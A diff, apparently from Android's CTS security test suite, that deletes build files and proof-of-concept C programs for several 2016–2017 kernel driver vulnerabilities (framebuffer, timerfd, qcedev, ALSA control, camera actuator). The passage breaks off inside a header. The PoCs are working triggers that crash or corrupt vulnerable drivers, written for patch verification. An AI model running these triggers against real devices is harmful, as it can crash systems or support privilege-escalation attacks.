-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir, type, nr, size) \
- (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-/* used to create numbers */
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
- _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
- _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
- _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-
-#define MSMFB_IOCTL_MAGIC 'm'
-
-struct mdp_pp_feature_version {
- uint32_t pp_feature;
- uint32_t version_info;
-};
-#define MSMFB_MDP_PP_GET_FEATURE_VERSION \
- _IOWR(MSMFB_IOCTL_MAGIC, 171, struct mdp_pp_feature_version)
-
-struct fb_cmap_user {
- __u32 start; /* First entry */
- __u32 len; /* Number of entries */
- __u16 *red; /* Red values */
- __u16 *green;
- __u16 *blue;
- __u16 *transp; /* transparency, can be NULL */
-};
-#define FBIOPUTCMAP 0x4605
-
-/* QSEED3 LUT sizes */
-#define DIR_LUT_IDX 1
-#define DIR_LUT_COEFFS 200
-#define CIR_LUT_IDX 9
-#define CIR_LUT_COEFFS 60
-#define SEP_LUT_IDX 10
-#define SEP_LUT_COEFFS 60
-
-struct mdp_scale_luts_info {
- uint64_t dir_lut;
- uint64_t cir_lut;
- uint64_t sep_lut;
- uint32_t dir_lut_size;
- uint32_t cir_lut_size;
- uint32_t sep_lut_size;
-};
-
-struct mdp_set_cfg {
- uint64_t flags;
- uint32_t len;
- uint64_t payload;
-};
-#define MDP_QSEED3_LUT_CFG 0x1
-
-#define MDP_IOCTL_MAGIC 'S'
-#define MSMFB_MDP_SET_CFG _IOW(MDP_IOCTL_MAGIC, 130, struct mdp_set_cfg)
-
-#define MDP_LAYER_COMMIT_V1_PAD 4
-
-struct mdp_rect {
- uint32_t x;
- uint32_t y;
- uint32_t w;
- uint32_t h;
-};
-
-enum mdss_mdp_blend_op {
- BLEND_OP_NOT_DEFINED = 0,
- BLEND_OP_OPAQUE,
- BLEND_OP_PREMULTIPLIED,
- BLEND_OP_COVERAGE,
- BLEND_OP_MAX,
-};
-
-enum mdp_color_space {
- MDP_CSC_ITU_R_601,
- MDP_CSC_ITU_R_601_FR,
- MDP_CSC_ITU_R_709,
-};
-
-struct mdp_layer_plane {
- /* DMA buffer file descriptor information. */
- int fd;
-
- /* Pixel offset in the dma buffer. */
- uint32_t offset;
-
- /* Number of bytes in one scan line including padding bytes. */
- uint32_t stride;
-};
-
-#define MAX_PLANES 4
-
-struct mult_factor {
- uint32_t numer;
- uint32_t denom;
-};
-struct mdp_layer_buffer {
- uint32_t width;
- uint32_t height;
- uint32_t format;
-
- /* plane to hold the fd, offset, etc for all color components */
- struct mdp_layer_plane planes[MAX_PLANES];
-
- /* valid planes count in layer planes list */
- uint32_t plane_count;
-
- /* compression ratio factor, value depends on the pixel format */
- struct mult_factor comp_ratio;
-
- /*
- * SyncFence associated with this buffer. It is used in two ways.
- *
- * 1. Driver waits to consume the buffer till producer signals in case
- * of primary and external display.
- *
- * 2. Writeback device uses buffer structure for output buffer where
- * driver is producer. However, client sends the fence with buffer to
- * indicate that consumer is still using the buffer and it is not ready
- * for new content.
- */
- int fence;
-
- /* 32bits reserved value for future usage. */
- uint32_t reserved;
-};
-
-struct mdp_input_layer {
- uint32_t flags;
- uint32_t pipe_ndx;
- uint8_t horz_deci;
- uint8_t vert_deci;
- uint8_t alpha;
- uint16_t z_order;
- uint32_t transp_mask;
- uint32_t bg_color;
-
- /* blend operation defined in "mdss_mdp_blend_op" enum. */
- enum mdss_mdp_blend_op blend_op;
-
- /* color space of the source */
- enum mdp_color_space color_space;
-
- struct mdp_rect src_rect;
-
- /*
- * Destination rectangle, the position and size of image on screen.
- * This should always be within panel boundaries.
- */
- struct mdp_rect dst_rect;
-
- /* Scaling parameters. */
- void __user *scale;
-
- /* Buffer attached with each layer. Device uses it for commit call. */
- struct mdp_layer_buffer buffer;
-
- void __user *pp_info;
- int error_code;
- uint32_t reserved[6];
-};
-
-struct mdp_output_layer {
- /*
- * Flag to enable/disable properties for layer configuration. Refer
- * layer flag config section for all possible flags.
- */
- uint32_t flags;
-
- /*
- * Writeback destination selection for output. Client provides the index
- * in validate and commit call.
- */
- uint32_t writeback_ndx;
-
- /* Buffer attached with output layer. Device uses it for commit call */
- struct mdp_layer_buffer buffer;
-
- /* color space of the destination */
- enum mdp_color_space color_space;
-
- /* 32bits reserved value for future usage. */
- uint32_t reserved[5];
-};
-
-struct mdp_layer_commit_v1 {
- uint32_t flags;
- int release_fence;
- struct mdp_rect left_roi;
- struct mdp_rect right_roi;
- struct mdp_input_layer __user *input_layers;
-
- /* Input layer count present in input list */
- uint32_t input_layer_cnt;
-
- struct mdp_output_layer __user *output_layer;
-
- int retire_fence;
- void __user *dest_scaler;
- uint32_t dest_scaler_cnt;
-
- uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
-};
-
-struct mdp_layer_commit {
- /*
- * 32bit version indicates the commit structure selection
- * from union. Lower 16bits indicates the minor version while
- * higher 16bits indicates the major version. It selects the
- * commit structure based on major version selection. Minor version
- * indicates that reserved fields are in use.
- *
- * Current supported version is 1.0 (Major:1 Minor:0)
- */
- uint32_t version;
- union {
- /* Layer commit/validate definition for V1 */
- struct mdp_layer_commit_v1 commit_v1;
- };
-};
-
-#define MDP_IOCTL_MAGIC 'S'
-/* atomic commit ioctl used for validate and commit request */
-#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
-
-#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/poc.c b/hostsidetests/security/securityPatch/Bug-35950805/poc.c
deleted file mode 100644
index dd5379b..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950805/poc.c
+++ /dev/null
@@ -1,71 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <unistd.h>
-#include <string.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include "local_poc.h"
-
-int main(int argc, char **argv) {
- int ret, i, count;
- int fd;
- struct mdp_layer_commit commit;
- struct mdp_output_layer output_layer;
-
- fd = open("/dev/graphics/fb2", O_RDWR, 0);
- if (fd < 0) {
- return -1;
- }
-
- output_layer.buffer.plane_count = 1;
- output_layer.writeback_ndx = 1;
- commit.commit_v1.output_layer = &output_layer;
-
- commit.commit_v1.input_layer_cnt = 0;
- commit.version = 0x00010000;
- commit.commit_v1.flags = 0x01;
-
- ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
- if (ret < 0) {
- printf("err:%s\n", strerror(errno));
- }
-
- output_layer.buffer.plane_count = 0x00FFFFFF;
- commit.commit_v1.output_layer = &output_layer;
-
- commit.commit_v1.input_layer_cnt = 0;
- commit.version = 0x00010000;
- commit.commit_v1.flags = 0;
-
- ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
- if (ret < 0) {
- printf("err:%s\n", strerror(errno));
- }
-
- close(fd);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
deleted file mode 100644
index 2a1edd0..0000000
--- a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36266767
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/poc.c b/hostsidetests/security/securityPatch/Bug-36266767/poc.c
deleted file mode 100644
index e534054..0000000
--- a/hostsidetests/security/securityPatch/Bug-36266767/poc.c
+++ /dev/null
@@ -1,72 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/timerfd.h>
-#include <sys/time.h>
-#include <time.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <signal.h>
-
-#define THREAD_NUM 2
-
-pthread_t thread_id[THREAD_NUM+1] = { 0 };
-int thread_ret[THREAD_NUM] = { 0 };
-int fd;
-struct itimerspec new_value;
-
-void* child_ioctl_0(void* no_use)
-{
- int ret = 1;
-
- while(1){
- timerfd_settime(fd, 0x3, &new_value, NULL);
- timerfd_settime(fd, 0x0, &new_value, NULL);
- }
-}
-
-int main(int argc, char *argv[])
-{
- int i;
- new_value.it_value.tv_sec = 0;
- new_value.it_value.tv_nsec = 0;
- new_value.it_interval.tv_sec = 0;
- new_value.it_interval.tv_nsec = 0;
-
- fd = timerfd_create(CLOCK_REALTIME, 0);
-
- /* create thread */
- for(i = 0; i < THREAD_NUM; i = i+1) {
- thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
- }
-
- while(1) {
- fd = timerfd_create(CLOCK_REALTIME, 0);
- usleep(5);
- close(fd);
- }
-}
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
deleted file mode 100644
index ee17cb7..0000000
--- a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36591162
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/poc.c b/hostsidetests/security/securityPatch/Bug-36591162/poc.c
deleted file mode 100644
index 33ee5f6..0000000
--- a/hostsidetests/security/securityPatch/Bug-36591162/poc.c
+++ /dev/null
@@ -1,89 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/ioctl.h>
-#include <sys/mount.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <pthread.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-enum qcedev_sha_alg_enum {
- QCEDEV_ALG_SHA1 = 0,
- QCEDEV_ALG_SHA256 = 1,
- QCEDEV_ALG_SHA1_HMAC = 2,
- QCEDEV_ALG_SHA256_HMAC = 3,
- QCEDEV_ALG_AES_CMAC = 4,
- QCEDEV_ALG_SHA_ALG_LAST
-};
-
-struct buf_info {
- union {
- uint32_t offset;
- uint8_t *vaddr;
- };
- uint32_t len;
-};
-
-struct qcedev_sha_op_req {
- struct buf_info data[16];
- uint32_t entries;
- uint32_t data_len;
- uint8_t digest[32];
- uint32_t diglen;
- uint8_t *authkey;
- uint32_t authklen;
- enum qcedev_sha_alg_enum alg;
-};
-
-#define QCEDEV_IOC_MAGIC 0x87
-
-#define QCEDEV_IOCTL_SHA_INIT_REQ \
- _IOWR(QCEDEV_IOC_MAGIC, 3, struct qcedev_sha_op_req)
-#define QCEDEV_IOCTL_SHA_UPDATE_REQ \
- _IOWR(QCEDEV_IOC_MAGIC, 4, struct qcedev_sha_op_req)
-#define QCEDEV_IOCTL_SHA_FINAL_REQ \
- _IOWR(QCEDEV_IOC_MAGIC, 5, struct qcedev_sha_op_req)
-
-void main() {
- int f = open("/dev/qce", 0);
-
- struct qcedev_sha_op_req arg;
- memset(&arg, 0, sizeof(arg));
- arg.alg = QCEDEV_ALG_AES_CMAC;
- arg.entries = 1;
- arg.authklen = 16;
- char *key = malloc(arg.authklen);
- arg.authkey = key;
- arg.data_len = 256;
-
- arg.data[0].len = arg.data_len;
- char *data = malloc(arg.data_len);
- arg.data[0].vaddr = data;
- int r = ioctl(f, QCEDEV_IOCTL_SHA_INIT_REQ, &arg);
-
- arg.diglen = 0x8000;
- r = ioctl(f, QCEDEV_IOCTL_SHA_UPDATE_REQ, &arg);
- r = ioctl(f, QCEDEV_IOCTL_SHA_FINAL_REQ, &arg);
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
deleted file mode 100644
index 3ba801e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-10231
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
deleted file mode 100644
index b6b82d7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <fcntl.h>
-#include <string.h>
-#include <stdlib.h>
-
-#define SNDRV_CTL_IOCTL_ELEM_WRITE _IOWR('U', 0x13, struct snd_ctl_elem_value)
-
-typedef int __bitwise snd_ctl_elem_iface_t;
-
-struct snd_aes_iec958 {
- unsigned char status[24];
- unsigned char subcode[147];
- unsigned char pad;
- unsigned char dig_subframe[4];
-};
-
-struct snd_ctl_elem_id {
- unsigned int numid;
- snd_ctl_elem_iface_t iface;
- unsigned int device;
- unsigned int subdevice;
- unsigned char name[44];
- unsigned int index;
-};
-
-struct snd_ctl_elem_value {
- struct snd_ctl_elem_id id;
- unsigned int indirect: 1;
- union {
- union {
- long value[128];
- long *value_ptr;
- } integer;
- union {
- long long value[64];
- long long *value_ptr;
- } integer64;
- union {
- unsigned int item[128];
- unsigned int *item_ptr;
- } enumerated;
- union {
- unsigned char data[512];
- unsigned char *data_ptr;
- } bytes;
- struct snd_aes_iec958 iec958;
- } value;
- struct timespec tstamp;
- unsigned char reserved[128-sizeof(struct timespec)];
-};
-
-int main()
-{
- struct snd_ctl_elem_value val;
- memset(&val, 0xff, sizeof(val));
- val.id.numid = 0x80;
- val.id.iface = 0x1;
- val.id.device = 0x400;
- val.id.subdevice = 0x7;
- memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
- val.id.index = 4;
- val.value.integer.value[0] = 0x30;
- int fd = open("/dev/snd/controlC0", O_RDWR);
- ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
deleted file mode 100644
index bba13f3..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8412
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
deleted file mode 100644
index d438b40..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <signal.h>
-
-#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
-#define MSM_SD_SHUTDOWN 0xc00856dd
-
-int fd;
-
-
-int main() {
- long i;
- int pid;
- pthread_t th[6];
- int argn[50] = {0};
-
- fd = open("/dev/v4l-subdev7", 0x0ul );
-
-
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- pid = fork();
- if(!pid){
- argn[0] = 1;
- while(1){
- usleep(10);
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
- }
- }
- i = 0;
- while(1){
- i++;
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- usleep(100);
-
- argn[0] = 0;
- syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
-
- }
-
- close(fd);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
deleted file mode 100644
index 62efb65..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8435
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
deleted file mode 100644
index 70574fe..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __local_pwn_H__
-#define __local_pwn_H__
-
-#define SIOCIWFIRSTPRIV 0x8BE0
-#define SIOCGIWNAME 0x8B01
-#define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
-#define PRIV_CUSTOM_BWCS_CMD 13
-#define PRIV_CMD_OID 15
-#define PRIV_CMD_SW_CTRL 20
-#define PRIV_CMD_WSC_PROBE_REQ 22
-
-enum host1x_class {
- HOST1X_CLASS_HOST1X = 0x1,
- HOST1X_CLASS_NVENC = 0x21,
- HOST1X_CLASS_VI = 0x30,
- HOST1X_CLASS_ISPA = 0x32,
- HOST1X_CLASS_ISPB = 0x34,
- HOST1X_CLASS_GR2D = 0x51,
- HOST1X_CLASS_GR2D_SB = 0x52,
- HOST1X_CLASS_VIC = 0x5D,
- HOST1X_CLASS_GR3D = 0x60,
- HOST1X_CLASS_NVJPG = 0xC0,
- HOST1X_CLASS_NVDEC = 0xF0,
-};
-
-#define DRM_COMMAND_BASE 0x40
-#define DRM_COMMAND_END 0xA0
-
-#define DRM_TEGRA_OPEN_CHANNEL 0x05
-#define DRM_TEGRA_CLOSE_CHANNEL 0x06
-#define DRM_TEGRA_SUBMIT 0x08
-
-struct drm_tegra_open_channel {
- __u32 client;
